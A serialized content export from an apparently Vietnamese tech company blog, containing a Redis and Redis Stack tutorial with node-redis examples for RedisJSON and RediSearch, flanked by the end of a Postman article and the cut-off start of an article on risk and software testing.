thiếu.",[533,19474],{"className":19475,"alt":66,"src":19476,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F03\u002F03145228\u002Fscript_check-result_case5_VN-1024x436.png",[498,19478,19480],{"id":19479},"_3-tài-liệu-tham-khảo","3. Tài liệu tham khảo",[11,19482,19483],{},[58,19484,19485],{"href":19485,"rel":19486},"https:\u002F\u002Flearning.postman.com\u002Fdocs\u002Fsending-requests\u002Fvariables\u002F",[62],[11,19488,19489],{},[58,19490,19491],{"href":19491,"rel":19492},"https:\u002F\u002Fgiangtester.com\u002Fcategory\u002Fapi-testing\u002Fpostman\u002F",[62],{"title":66,"searchDepth":67,"depth":67,"links":19494},[19495,19496,19501],{"id":18850,"depth":67,"text":18851},{"id":18864,"depth":67,"text":18865,"children":19497},[19498,19499,19500],{"id":18871,"depth":1417,"text":18872},{"id":18973,"depth":1417,"text":18974},{"id":19123,"depth":1417,"text":19124},{"id":19479,"depth":67,"text":19480},"2023-04-14","Được ra mắt lần đầu tiên vào năm 2012, trải qua gần 1 thập kỷ với hơn 25 triệu người dùng, POSTMAN đã trở thành công cụ phổ biến nhất được sử dụng trong kiểm thử API (Application Programming Interface – Giao diện lập trình ứng dụng). POSTMAN cung cấp đa dạng các tính năng như gửi request với các phương thức POST, PUT, GET, DELETE của HTTP, kiểm tra dữ liệu trả về với các định dạng khác nhau như JSON, XML, quản lý request với tính năng Collection, chia sẻ dữ liệu với tính năng Import \u002F Export, v.v. giúp cho những người dù không có kiến thức về lập trình cũng có thể dễ dàng sử dụng.",{},"\u002Fvi\u002Fnews\u002Fpostman-va-mot-so-tinh-nang-huu-ich",{"title":18832,"description":19503},"vi\u002Fnews\u002Fpostman-va-mot-so-tinh-nang-huu-ich","https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2023\u002F04\u002F12155723\u002Fpostman_image-2.png","7mV8XEayvwpL2tTDRNi38v73RsqABjIOMcGP6B27dfs",{"id":19511,"title":19512,"body":19513,"category":1430,"created by":70,"date":20055,"description":20056,"extension":72,"meta":20057,"navigation":74,"path":20058,"sections":76,"seo":20059,"stem":20060,"thumbnail":20061,"__hash__":20062},"content_vi\u002Fvi\u002Fnews\u002Fredis-va-redis-stack.md","Redis và Redis Stack",{"type":8,"value":19514,"toc":20042},[19515,19517,19532,19535,19538,19541,19544,19548,19552,19555,19558,19564,19570,19576,19582,19588,19592,19595,19599,19602,19605,19609,19612,19619,19622,19627,19635,19640,19648,19655,19658,19664,19675,19680,19688,19692,19695,19698,19702,19706,19709,19712,19715,19718,19721,19724,19727,19731,19734,19752,19759,19763,19767,19778,19783,19789,19792,19798,19801,19804,19807,19812,19819,19826,19832,19837,19843,19850,19856,19859,19862,19865,19868,19872,19877,19901,19907,19910,19915,19922,19928,19933,19939,19945,19950,19956,19960,19964,19967,19973,19978,19984,19990,19994,20000,20004,20007,20010,20013,20017,20023,20029,20036],[498,19516,5418],{"id":5417},[11,19518,19519,19520,19523,19524,19527,19528,19531],{},"Redis(",[20,19521,19522],{},"Re","mote ",[20,19525,19526],{},"Di","ctionary ",[20,19529,19530],{},"S","erver) là 1 trong số các hệ quản trị cơ sở dữ liệu mang phong cách NoSQL.",[11,19533,19534],{},"Dùng để lưu trữ dữ liệu có cấu trúc dưới dạng key-value trên RAM với hiệu năng cao.",[11,19536,19537],{},"Có thể sử dụng như một database, bộ nhớ cache hay một message broker. Redis cũng có thể được sử dụng như một database được lưu trữ trong RAM để tăng tốc độ xử lí.",[11,19539,19540],{},"Redis hiện cung cấp thời gian phản hồi ở tốc độ chưa đến một mili giây, vì Redis cho phép bạn lưu trữ trên RAM của mình nhanh hơn so với khi lưu trữ trên các ổ cứng, khoảng 150.000 lần so với truy cập ổ HDD và nhanh hơn 500 lần so với truy cập SSD.",[11,19542,19543],{},"Sử dụng tốt trong việc liên kết các microservices với nhau.",[657,19545,19547],{"id":19546},"đặc-trưng-cơ-bản","Đặc trưng cơ bản",[1800,19549,19551],{"id":19550},"data-model","Data model",[11,19553,19554],{},"Redis không có bảng. Redis lưu trữ data dưới dạng key-value.",[11,19556,19557],{},"Các kiểu dữ liệu Redis dùng để lưu value:",[11,19559,19560,19563],{},[20,19561,19562],{},"STRING",": Có thể là string, integer hoặc float. Redis có thể làm việc với cả string, từng phần của string, cũng như tăng\u002Fgiảm giá trị của integer, float.",[11,19565,19566,19569],{},[20,19567,19568],{},"LIST",": Danh sách liên kết của các strings. Redis hỗ trợ các thao tác push, pop từ cả 2 phía của list, trim dựa theo offset, đọc 1 hoặc nhiều items của list, tìm kiếm và xóa giá trị.",[11,19571,19572,19575],{},[20,19573,19574],{},"SET",": Tập hợp các string (không được sắp xếp). Redis hỗ trợ các thao tác thêm, đọc, xóa từng phần tử, kiểm tra sự xuất hiện của phần tử trong tập hợp. Ngoài ra Redis còn hỗ trợ các phép toán tập hợp, gồm intersect\u002Funion\u002Fdifference.",[11,19577,19578,19581],{},[20,19579,19580],{},"HASH",": Lưu trữ hash table của các cặp key-value, trong đó key được sắp xếp ngẫu nhiên, không theo thứ tự nào cả. Redis hỗ trợ các thao tác thêm, đọc, xóa từng phần tử, cũng như đọc tất cả giá trị.",[11,19583,19584,19587],{},[20,19585,19586],{},"ZSET"," (sorted set): Là 1 danh sách, trong đó mỗi phần tử là map của 1 string (member) và 1 floating-point number (score), danh sách được sắp xếp theo score này. Redis hỗ trợ thao tác thêm, đọc, xóa từng phần tử, lấy ra các phần tử dựa theo range của score hoặc của string.",[1800,19589,19591],{"id":19590},"replication-persistence","Replication – Persistence:",[11,19593,19594],{},"Redis sử dụng kiến trúc primary-replica và hỗ trợ sao chép không đồng bộ, dữ liệu có thể được sao chép sang nhiều máy chủ khác nhau. Điều này giúp hiệu suất đọc được cải thiện (vì các yêu cầu có thể được phân chia giữa các máy chủ) và phục hồi nhanh hơn khi máy chủ chính gặp sự cố ngừng hoạt động. Để duy trì, Redis hỗ trợ sao lưu point-in-time backups (sao chép dữ liệu Redis vào đĩa).",[1800,19596,19598],{"id":19597},"in-memory-data-store","In-Memory Data Store",[11,19600,19601],{},"Redis lưu trữ dữ liệu trên RAM nên việc đọc ghi dữ liệu nhanh hơn nhiều so với trên ổ cứng.",[11,19603,19604],{},"Nhưng cũng vì toàn bộ dữ liệu trên RAM nên sẽ bị mất khi tắt server. Tuy nhiên, đã có giải pháp là sử dụng Redis Persistence.",[1800,19606,19608],{"id":19607},"persistent-redis","Persistent redis",[11,19610,19611],{},"Dù làm việc với data dạng key-value lưu trữ trên RAM, Redis vẫn cần lưu trữ dữ liệu trên ổ cứng để đảm bảo toàn vẹn dữ liệu khi có sự cố xảy ra (server bị tắt nguồn) cũng như tái tạo lại dataset khi restart server. Redis cung cấp 2 phương thức chính cho việc sao lưu dữ liệu ra ổ cứng, đó là RDB và AOF.",[11,19613,19614],{},[1277,19615,19616],{},[20,19617,19618],{},"RDB (Redis Database)",[11,19620,19621],{},"RDB thực hiện tạo và sao lưu snapshot của DB vào ổ cứng sau mỗi khoảng thời gian nhất định.",[11,19623,19624],{},[1277,19625,19626],{},"Ưu điểm của RDB",[31,19628,19629,19632],{},[34,19630,19631],{},"RDB cho phép người dùng lưu các version khác nhau của DB, rất thuận tiện khi có sự cố xảy ra.",[34,19633,19634],{},"RDB giúp tối ưu hóa hiệu năng của Redis. Tiến trình Redis chính sẽ chỉ làm các công việc trên RAM, bao gồm các thao tác cơ bản được yêu cầu từ phía client như thêm\u002Fđọc\u002Fxóa, trong khi đó 1 tiến trình con sẽ đảm nhiệm các thao tác disk I\u002FO. Cách tổ chức này giúp tối đa hiệu năng của Redis.",[11,19636,19637],{},[1277,19638,19639],{},"Nhược điểm của RDB",[31,19641,19642,19645],{},[34,19643,19644],{},"Thông thường người dùng sẽ set up để tạo RDB snapshot 5 phút 1 lần (hoặc nhiều hơn). Do vậy, trong trường hợp có sự cố, Redis không thể hoạt động, dữ liệu trong những phút cuối sẽ bị mất.",[34,19646,19647],{},"RDB cần dùng fork để tạo tiến trình con phục vụ cho thao tác disk I\u002FO. Trong trường hợp dữ liệu quá lớn, quá trình fork có thể tốn thời gian và server sẽ không thể đáp ứng được request từ client trong vài milisecond hoặc thậm chí là 1 second tùy thuộc vào lượng data và hiệu năng CPU.",[11,19649,19650],{},[1277,19651,19652],{},[20,19653,19654],{},"AOF (Append Only File)",[11,19656,19657],{},"AOF lưu lại tất cả các thao tác write mà server nhận được, các thao tác này sẽ được chạy lại khi restart server hoặc tái thiết lập dataset ban đầu.",[11,19659,19660,19663],{},[1277,19661,19662],{},"Ưu điểm của AOF"," AOF",[31,19665,19666,19669,19672],{},[34,19667,19668],{},"Redis đảm bảo dataset được bền vững hơn. Người dùng có thể config để Redis ghi log mỗi giây 1 lần hoặc ở mọi truy vấn.",[34,19670,19671],{},"Redis ghi log AOF theo kiểu thêm vào cuối file sẵn có, do đó tiến trình seek trên file có sẵn là không cần thiết. Ngay cả khi nhật ký kết thúc bằng một lệnh được viết một nửa vì lý do nào đó (đĩa đầy hoặc các lý do khác), công cụ redis-check-aof vẫn có thể khắc phục nó một cách dễ dàng.",[34,19673,19674],{},"Redis cung cấp tiến trình chạy nền, cho phép ghi lại file AOF khi dung lượng file quá lớn. Việc ghi lại hoàn toàn an toàn vì trong khi Redis tiếp tục thêm vào tệp cũ, một tệp hoàn toàn mới được tạo ra với tập hợp các thao tác tối thiểu cần thiết để tạo tập dữ liệu hiện tại và khi tệp thứ hai này đã sẵn sàng, Redis chuyển hai tệp và bắt đầu thêm vào một file mới.",[11,19676,19677],{},[1277,19678,19679],{},"Nhược điểm của AOF",[31,19681,19682,19685],{},[34,19683,19684],{},"Các tệp AOF thường lớn hơn các tệp RDB tương đương cho cùng một tập dữ liệu.",[34,19686,19687],{},"AOF có thể chậm hơn RDB tùy thuộc vào chính sách fsync. Nói chung với fsync được đặt thành từng giây , hiệu suất vẫn rất cao và với fsync bị vô hiệu hóa, nó sẽ chính xác nhanh như RDB. RDB vẫn có thể cung cấp nhiều đảm bảo hơn về độ trễ tối đa ngay cả trong trường hợp tải ghi rất lớn.",[657,19689,19691],{"id":19690},"hiệu-suất","Hiệu suất",[11,19693,19694],{},"So với cơ sở dữ liệu trên ổ đĩa truyền thống trong đó phần lớn các tác vụ đều yêu cầu truy cập lặp lại tới ổ đĩa, còn Redis thì chỉ việc lấy ra kết quả đã tính toán. Do đó hiệu suất Redis nhanh rõ rệt với các tác vụ đọc hoặc ghi thông thường cùng với độ trễ thấp và thông lượng cao.",[11,19696,19697],{},"Hỗ trợ các thao tác nhiều hơn và thời gian phản hồi nhanh hơn gấp 10 lần. Các thao tác đọc và ghi trung bình chỉ mất chưa đến một mili giây và hỗ trợ hàng triệu thao tác mỗi giây.",[533,19699],{"className":19700,"alt":66,"src":19701,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F05151236\u002Fnosql-benchmark-200000.png",[657,19703,19705],{"id":19704},"trường-hợp-sử-dụng-phổ-biến-của-redis","Trường hợp sử dụng phổ biến của Redis",[11,19707,19708],{},"Lưu trữ bộ nhớ đệm",[11,19710,19711],{},"Lưu danh sách tác vụ chờ xử lý",[11,19713,19714],{},"Bảng xếp hạng game",[11,19716,19717],{},"Kho lưu trữ session",[11,19719,19720],{},"Machine Learning",[11,19722,19723],{},"Phân tích theo thời gian thực",[11,19725,19726],{},"...",[498,19728,19730],{"id":19729},"redis-stack","Redis Stack",[11,19732,19733],{},"Redis Stack được tạo ra để cho phép các lập trình viên xây dựng các ứng dụng thời gian thực với nền tảng dữ liệu phụ trợ có thể xử lý các yêu cầu một cách đáng tin cậy trong vài mili giây bằng cách mở rộng Redis với các mô hình dữ liệu và các công cụ xử lý dữ liệu.",[11,19735,19736,19737,1091,19740,1091,19743,1091,19746,1094,19749,974],{},"Redis Stack có 5 gói module: ",[20,19738,19739],{},"RedisJSON",[20,19741,19742],{},"RediSearch",[20,19744,19745],{},"RedisGraph",[20,19747,19748],{},"RedisTimeSeries",[20,19750,19751],{},"RedisBloom",[11,19753,19754,19755,19758],{},"Ngoài ra, Redis Stack cũng bao gồm ",[20,19756,19757],{},"RedisInsight",", một công cụ trực quan hóa để hiểu và tối ưu hóa dữ liệu.",[533,19760],{"className":19761,"alt":66,"src":19762,"style":539},[536,537],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2022\u002F08\u002F10104316\u002FRedisInsight-1024x545.png",[11,19764,19766],{"className":19765},[2565,2566,2567,2568,2569],"\nGiao diện RedisInsight\n",[11,19768,19769,19770,1094,19772,19774,19775,974],{},"Để dễ dàng hiểu rõ cách thức hoạt động của Redis Stack, chúng ta sẽ bắt đầu tìm hiểu cách sử dụng 2 module ",[20,19771,19739],{},[20,19773,19742],{}," với thư viện ",[20,19776,19777],{},"node-redis",[11,19779,19780,19781],{},"Cài đặt thư viện ",[20,19782,19777],{},[696,19784,19787],{"className":19785,"code":19786,"language":701},[699],"npm install redis\n",[703,19788,19786],{"__ignoreMap":66},[11,19790,19791],{},"Kết nối đến Redis Server",[696,19793,19796],{"className":19794,"code":19795,"language":701},[699],"import { createClient } from 'redis';\n\nconst client = createClient({\n  url: 'redis[s]:\u002F\u002F[[username][:password]@][host][:port][\u002Fdb-number]'\n});\n\nclient.on('error', (err) => console.log('Redis Client Error', err));\n\nawait client.connect();\n",[703,19797,19795],{"__ignoreMap":66},[657,19799,19739],{"id":19800},"redisjson",[11,19802,19803],{},"RedisJSON là một module Redis cung cấp hỗ trợ JSON trong Redis. RedisJSON cho phép bạn lưu trữ, cập nhật và truy xuất các giá trị JSON trong Redis giống như cách bạn làm với bất kỳ kiểu dữ liệu Redis nào khác. RedisJSON cũng hoạt động đồng thời với RediSearch để cho phép bạn lập chỉ mục và truy vấn các tài liệu JSON của mình.",[11,19805,19806],{},"Tài liệu được lưu trữ dưới dạng dữ liệu nhị phân trong cấu trúc cây, cho phép truy cập nhanh vào các phần tử con.",[11,19808,19809],{},[20,19810,19811],{},"Lưu trữ tài liệu JSON trong Redis",[11,19813,19814,19815,19818],{},"Lệnh ",[703,19816,19817],{},"JSON.SET","lưu trữ một giá trị JSON tại một Đường dẫn JSON nhất định trong một khóa Redis.",[11,19820,19821,19822,19825],{},"Ở đây, chúng ta sẽ lưu trữ một tài liệu JSON trong thư mục gốc của khóa Redis \" ",[703,19823,19824],{},"users","\":",[696,19827,19830],{"className":19828,"code":19829,"language":701},[699],"await client.json.set('noderedis:users', '$', {\n    name: 'Alice',\n    age: 29\n});\n",[703,19831,19829],{"__ignoreMap":66},[11,19833,19834],{},[20,19835,19836],{},"Truy xuất tài liệu JSON từ Redis",[696,19838,19841],{"className":19839,"code":19840,"language":701},[699],"const results = await client.json.get('noderedis:users');\n",[703,19842,19840],{"__ignoreMap":66},[11,19844,19845,19846,19849],{},"Kết quả ",[703,19847,19848],{},"results"," trả về",[696,19851,19854],{"className":19852,"code":19853,"language":701},[699],"{ name: 'Alice', age: 29 }\n",[703,19855,19853],{"__ignoreMap":66},[657,19857,19742],{"id":19858},"redisearch",[11,19860,19861],{},"RediSearch là một module Redis cung cấp khả năng truy vấn, lập index phụ và tìm kiếm cho Redis. Để sử dụng RediSearch, trước tiên bạn khai báo các chỉ mục trên dữ liệu Redis của mình. Sau đó, bạn có thể sử dụng ngôn ngữ truy vấn RediSearch để truy vấn dữ liệu đó.",[11,19863,19864],{},"RediSearch sử dụng các index được nén, đảo ngược để lập index nhanh với dung lượng bộ nhớ thấp.",[11,19866,19867],{},"RediSearch cung cấp khả năng so sánh cụm từ chính xác, fuzzy search (tìm kiếm \"xấp xỉ\"), numeric filtering,...",[1800,19869,19871],{"id":19870},"lập-chỉ-mục-và-truy-vấn-dữ-liệu-trong-redis-hashes","Lập chỉ mục và truy vấn dữ liệu trong Redis Hashes",[11,19873,19874],{},[20,19875,19876],{},"Tạo chỉ mục",[11,19878,19879,19880,19883,19884,19887,19888,1091,19891,1091,19894,19897,19898],{},"Trước khi có thể thực hiện bất kỳ tìm kiếm nào, chúng ta cần cho RediSearch biết cách lập chỉ mục dữ liệu và key nào để tìm dữ liệu đó. Lệnh ",[20,19881,19882],{},"FT.CREATE"," tạo chỉ mục RediSearch. Đây là cách sử dụng nó để tạo một chỉ mục mà ta sẽ gọi ",[703,19885,19886],{},"idx:animals","nơi chúng ta muốn lập chỉ mục các hash chứa và trường ",[703,19889,19890],{},"name",[703,19892,19893],{},"species",[703,19895,19896],{},"age"," cùng tên khóa của chúng trong Redis bắt đầu bằng tiền tố :",[703,19899,19900],{},"noderedis:animals",[696,19902,19905],{"className":19903,"code":19904,"language":701},[699],"await client.ft.create('idx:animals', {\n  name: {\n    type: SchemaFieldTypes.TEXT,\n    sortable: true\n  },\n    species: SchemaFieldTypes.TAG,\n    age: SchemaFieldTypes.NUMERIC\n  }, {\n    ON: 'HASH',\n    PREFIX: 'noderedis:animals'\n  }\n);\n",[703,19906,19904],{"__ignoreMap":66},[11,19908,19909],{},"Sau khi bạn tạo chỉ mục, mọi tài liệu băm mới có tiền tố tương ứng sẽ tự động được lập chỉ mục khi tạo.",[11,19911,19912],{},[20,19913,19914],{},"Thêm tài liệu",[11,19916,19917,19918,19921],{},"Sử dụng lệnh ",[20,19919,19920],{},"HSET"," để tạo một tài liệu băm mới và thêm nó vào chỉ mục:",[696,19923,19926],{"className":19924,"code":19925,"language":701},[699],"await client.hSet('noderedis:animals:1', {name: 'Fluffy', species: 'cat', age: 3});\nawait client.hSet('noderedis:animals:2', {name: 'Ginger', species: 'dog', age: 4});\n",[703,19927,19925],{"__ignoreMap":66},[11,19929,19930],{},[20,19931,19932],{},"Tìm kiếm chỉ mục",[11,19934,19935,19936],{},"Để tìm kiếm chỉ mục cho các tài liệu có chứa các từ cụ thể, sử dụng ",[20,19937,19938],{},"FT.SEARCH",[696,19940,19943],{"className":19941,"code":19942,"language":701},[699],"const results = await client.ft.search(\n    'idx:animals', \n    '@species:{dog}',\n    {\n      SORTBY: {\n        BY: 'age',\n        DIRECTION: 'DESC' \u002F\u002F or 'ASC' (default if DIRECTION is not present)\n      }\n    }\n  );\n",[703,19944,19942],{"__ignoreMap":66},[11,19946,19947,19949],{},[703,19948,19848],{}," sẽ trông như thế này:",[696,19951,19954],{"className":19952,"code":19953,"language":701},[699],"{\n  total: 1,\n  documents: [\n    {\n      id: 'noderedis:animals:2',\n      value: {\n        name: 'Ginger',\n        species: 'dog',\n        age: '4'\n      }\n    }\n  ]\n}\n",[703,19955,19953],{"__ignoreMap":66},[1800,19957,19959],{"id":19958},"lập-chỉ-mục-và-truy-vấn-dữ-liệu-với-redisjson","Lập chỉ mục và truy vấn dữ liệu với RedisJSON",[11,19961,19962],{},[20,19963,19876],{},[11,19965,19966],{},"Để tạo chỉ mục cho một tài liệu JSON",[696,19968,19971],{"className":19969,"code":19970,"language":701},[699],"await client.ft.create('idx:users', {\n    '$.name': {\n        type: SchemaFieldTypes.TEXT,\n        SORTABLE: 'UNF'\n    },\n    '$.age': {\n        type: SchemaFieldTypes.NUMERIC,\n        AS: 'age'\n    },\n}, {\n    ON: 'JSON',\n    PREFIX: 'noderedis:users'\n});\n",[703,19972,19970],{"__ignoreMap":66},[11,19974,19975],{},[20,19976,19977],{},"Truy vấn chỉ mục",[11,19979,19980,19981,19983],{},"Chúng ta sẽ sử dụng lệnh ",[703,19982,19938],{}," và ngôn ngữ truy vấn RediSearch. Ví du: một truy vấn để tìm người dùng dưới 30 tuổi:",[696,19985,19988],{"className":19986,"code":19987,"language":701},[699],"const results = await client.ft.search('idx:users', '@age:[0 30]');\n",[703,19989,19987],{"__ignoreMap":66},[11,19991,19845,19992,19849],{},[703,19993,19848],{},[696,19995,19998],{"className":19996,"code":19997,"language":701},[699],"{\n  \"total\": 1,\n  \"documents\": [\n    {\n      \"id\": \"noderedis:users\",\n      \"value\": {\n        \"name\": \"Alice\",\n        \"age\": 29\n      }\n    }\n  ]\n}\n",[703,19999,19997],{"__ignoreMap":66},[498,20001,20002],{"id":7455},[20,20003,7456],{},[11,20005,20006],{},"Redis là một gói phần mềm mã nguồn mở với nhiều ưu điểm nên đang được sử dụng phổ biến trong quá trình phát triển phần mềm.",[11,20008,20009],{},"Có tốc độ cực nhanh, dễ thiết lập và sử dụng, hỗ trợ nhiều cấu trúc dữ liệu linh hoạt. Redis là sự lựa chọn tuyệt vời khi cần sử dụng để cache dữ liệu hoặc các ứng dụng có yêu cầu về thời gian thực.",[11,20011,20012],{},"Với cùng cơ chế lưu trữ dữ liệu trên RAM, so với Memcached, Redis hỗ trợ nhiều kiểu dữ liệu và nhiều phép toán hơn ở phía server. Đồng thời cũng có cơ chế mặc định backup dữ liệu vào disk trong khi Memcached không có cơ chế này. Vì vậy nếu bạn muốn hệ thống của mình có thể cache được nhưng cấu trúc dữ liệu phức tạp thì Redis sẽ là một lựa chọn tốt hơn.",[498,20014,20015],{"id":5255},[20,20016,7462],{},[11,20018,20019],{},[58,20020,20021],{"href":20021,"rel":20022},"https:\u002F\u002Fredis.io\u002Fdocs\u002F",[62],[11,20024,20025],{},[58,20026,20027],{"href":20027,"rel":20028},"https:\u002F\u002Fredis.js.org\u002F",[62],[11,20030,20031],{},[58,20032,20035],{"href":20033,"rel":20034},"https:\u002F\u002Fbyterot.blogspot.com\u002F2012\u002F11\u002Fnosql-benchmark-redis-mongodb-ravendb-cassandra-sqlserver.html",[62],"https:\u002F\u002Fbyterot.blogspot.com\u002F2012\u002F11\u002Fnosql-benchmark-redis-mongodb-ravendb-cassandra-sqlserver",[11,20037,20038],{},[58,20039,20040],{"href":20040,"rel":20041},"https:\u002F\u002Fgithub.com\u002Fredis\u002Fnode-redis",[62],{"title":66,"searchDepth":67,"depth":67,"links":20043},[20044,20049,20053,20054],{"id":5417,"depth":67,"text":5418,"children":20045},[20046,20047,20048],{"id":19546,"depth":1417,"text":19547},{"id":19690,"depth":1417,"text":19691},{"id":19704,"depth":1417,"text":19705},{"id":19729,"depth":67,"text":19730,"children":20050},[20051,20052],{"id":19800,"depth":1417,"text":19739},{"id":19858,"depth":1417,"text":19742},{"id":7455,"depth":67,"text":7456},{"id":5255,"depth":67,"text":7462},"2022-09-13","Giới thiệu Redis(Remote Dictionary Server) là 1 trong số các hệ quản trị cơ sở dữ liệu mang phong cách NoSQL. Dùng để lưu trữ dữ liệu có cấu trúc dưới dạng key-value trên RAM với hiệu năng cao. Có thể sử dụng như một database, bộ nhớ cache hay một message broker. Redis cũng có thể được sử dụng như một database được lưu trữ trong RAM để tăng tốc độ xử lí.",{},"\u002Fvi\u002Fnews\u002Fredis-va-redis-stack",{"title":19512,"description":20056},"vi\u002Fnews\u002Fredis-va-redis-stack","https:\u002F\u002Fhomepage-media.s3.ap-southeast-1.amazonaws.com\u002Fwp-content\u002Fuploads\u002F2026\u002F06\u002F03093000\u002Fredis.png","K61TPDcDjk7iPK_husFGG4_VG_yHSQ8HxlHnva8_nwU",{"id":20064,"title":20065,"body":20066,"category":20459,"created by":70,"date":20460,"description":20461,"extension":72,"meta":20462,"navigation":74,"path":20463,"sections":76,"seo":20464,"stem":20465,"thumbnail":20466,"__hash__":20467},"content_vi\u002Fvi\u002Fnews\u002Frui-ro-va-kiem-thu.md","Rủi ro và Kiểm thử",{"type":8,"value":20067,"toc":20455},[20068,20071,20074,20077,20080,20086,20089,20092,20124,20129,20132,20135,20138,20161,20164,20169,20183,20187,20190,20215,20219,20222,20226,20229,20234,20237,20240,20245,20250,20258,20263,20274,20279,20290,20293,20299,20302,20307,20310,20315,20318,20323,20326,20331,20334,20339,20342,20345,20350,20353,20356,20359,20362,20367,20370,20373,20376,20381,20384,20404,20407,20412,20415,20418,20438,20441,20444,20449],[11,20069,20070],{},"Rủi ro được định nghĩa là \"một sự kiện có khả năng gây ra kết quả tiêu cực trong tương lai.\" Mức độ rủi ro được xác định dựa trên xác suất xảy ra của sự kiện đó và ảnh hưởng (tức là thiệt hại) mà nó gây ra khi xảy ra.",[11,20072,20073],{},"Nói cách khác, rủi ro là \"một điều gì đó\" có khả năng gây bất lợi. \"Điều gì đó\" này được đánh giá từ hai khía cạnh: khả năng trở thành hiện thực (gọi là \"xác suất\") và mức độ thiệt hại gây ra khi trở thành hiện thực (gọi là \"ảnh hưởng\"). Khi một rủi ro được xác định, cần thiết lập \"mức độ rủi ro\" để quyết định mức độ quan trọng và ưu tiên xử lý.",[11,20075,20076],{},"Chúng ta sẽ giải thích về các phương pháp để tránh hoặc giảm thiểu bất lợi mà các bên liên quan trong dự án hoặc người dùng của sản phẩm có thể gặp phải, hay còn gọi là các biện pháp phòng ngừa rủi ro.",[11,20078,20079],{},"Rủi ro được chia thành hai loại chính: rủi ro sản phẩm và rủi ro dự án. Dưới đây là phần giải thích chi tiết về từng loại.",[657,20081,20083],{"id":20082},"rủi-ro-sản-phẩm",[20,20084,20085],{},"Rủi ro sản phẩm",[11,20087,20088],{},"Rủi ro sản phẩm đề cập đến \"rủi ro rằng các sản phẩm đầu ra của công việc (ví dụ: tài liệu yêu cầu, thành phần, hệ thống, trường hợp kiểm thử, v.v.) không đáp ứng được nhu cầu chính đáng của người dùng hoặc các bên liên quan.\" Do sản phẩm là đối tượng kiểm thử, rủi ro sản phẩm có thể được hiểu là những tổn thất hoặc thiệt hại do việc kiểm thử không đầy đủ gây ra. Vì vậy, rủi ro sản phẩm cần được nhận thức như một yếu tố có thể ảnh hưởng nghiêm trọng đến toàn bộ quá trình phát triển.",[11,20090,20091],{},"Rủi ro sản phẩm thay đổi tùy theo tiêu chuẩn chất lượng yêu cầu đối với sản phẩm. Dưới đây là một số ví dụ cụ thể:",[31,20093,20094,20100,20106,20112,20118],{},[34,20095,20096,20099],{},[20,20097,20098],{},"Phát hành phần mềm có lỗi:"," Khi lỗi xuất hiện sau khi phát hành, chi phí sửa chữa sẽ trở thành tổn thất cho doanh nghiệp.",[34,20101,20102,20105],{},[20,20103,20104],{},"Khả năng gây thiệt hại do phần mềm hoặc phần cứng:"," Lỗi có thể gây thiệt hại cho cá nhân hoặc doanh nghiệp, dẫn đến trách nhiệm pháp lý (như trách nhiệm sản phẩm) hoặc các yêu cầu bồi thường thiệt hại. Ngoài rủi ro pháp lý, thiệt hại về uy tín và ảnh hưởng gián tiếp cũng là những mối lo ngại.",[34,20107,20108,20111],{},[20,20109,20110],{},"Chất lượng thấp về đặc tính:"," Mặc dù các chức năng được đáp ứng, nhưng nếu thiếu các đặc tính như bảo mật, độ tin cậy, hoặc hiệu suất, sức hấp dẫn và sự tin tưởng vào sản phẩm sẽ giảm sút.",[34,20113,20114,20117],{},[20,20115,20116],{},"Thiếu sót về tính toàn vẹn hoặc chất lượng dữ liệu:"," Các vấn đề liên quan đến chuyển đổi hoặc di chuyển dữ liệu có thể làm suy giảm chức năng của sản phẩm. Việc xác minh độ chính xác và tính hợp lý của dữ liệu là rất quan trọng.",[34,20119,20120,20123],{},[20,20121,20122],{},"Hoạt động không đúng của chức năng dự kiến:"," Nếu các chức năng cơ bản không hoạt động đúng, doanh nghiệp có thể không nhận được thanh toán từ khách hàng hoặc phải đối mặt với yêu cầu bồi thường thiệt hại.",[11,20125,20126],{},[20,20127,20128],{},"Các biện pháp đối phó với rủi ro",[11,20130,20131],{},"Đối với các rủi ro đã được xác định, cần xem xét các biện pháp như phòng ngừa trước, chuẩn bị trước, và xử lý sau khi xảy ra. Tuy nhiên, không phải tất cả rủi ro đều được áp dụng biện pháp xử lý. Thay vào đó, việc quyết định thứ tự ưu tiên được thực hiện dựa trên xác suất xảy ra và mức độ ảnh hưởng (hay còn gọi là \"phơi nhiễm rủi ro\"). Thứ tự ưu tiên này được xác định ngay từ giai đoạn lập kế hoạch dự án và được cụ thể hóa hơn trong kế hoạch kiểm thử.",[11,20133,20134],{},"Một trong những cách hiệu quả nhất để giảm thiểu rủi ro là kiểm thử. Đặc biệt, cần xác nhận thông qua kiểm thử rằng các chức năng có rủi ro cao hoạt động như mong đợi. Kiểm thử có thể được coi là một trong những biện pháp phòng ngừa trước hiệu quả nhất.",[11,20136,20137],{},"Nếu không thực hiện kiểm thử, các rủi ro sau đây có thể trở nên rõ ràng:",[31,20139,20140,20143,20146,20149,20152,20155,20158],{},[34,20141,20142],{},"Phần mềm không hoạt động đúng theo đặc tả.",[34,20144,20145],{},"Không đáp ứng nhu cầu của người dùng hoặc các bên liên quan.",[34,20147,20148],{},"Kiến trúc hệ thống không đáp ứng đầy đủ các yêu cầu phi chức năng.",[34,20150,20151],{},"Kết quả tính toán cụ thể có thể không chính xác.",[34,20153,20154],{},"Có vấn đề trong việc điều khiển vòng lặp của mã nguồn.",[34,20156,20157],{},"Hệ thống chịu tải cao có thời gian phản hồi không phù hợp.",[34,20159,20160],{},"Trải nghiệm người dùng (UX) không đáp ứng được kỳ vọng.",[11,20162,20163],{},"Việc xác định chính xác rủi ro và thực hiện các biện pháp phù hợp là yếu tố không thể thiếu để đảm bảo chất lượng và sự thành công của sản phẩm.",[11,20165,20166],{},[20,20167,20168],{},"Rủi ro dự án",[11,20170,20171,20172,1091,20175,20178,20179,20182],{},"Rủi ro dự án được định nghĩa là \"các rủi ro mà khi xảy ra sẽ gây ảnh hưởng tiêu cực đến việc đạt được mục tiêu của dự án\". Rủi ro dự án thường tiềm ẩn các vấn đề từ ba khía cạnh: ",[20,20173,20174],{},"Con người",[20,20176,20177],{},"Trang thiết bị",", và ",[20,20180,20181],{},"Tài chính",". Dưới đây là các nội dung cụ thể 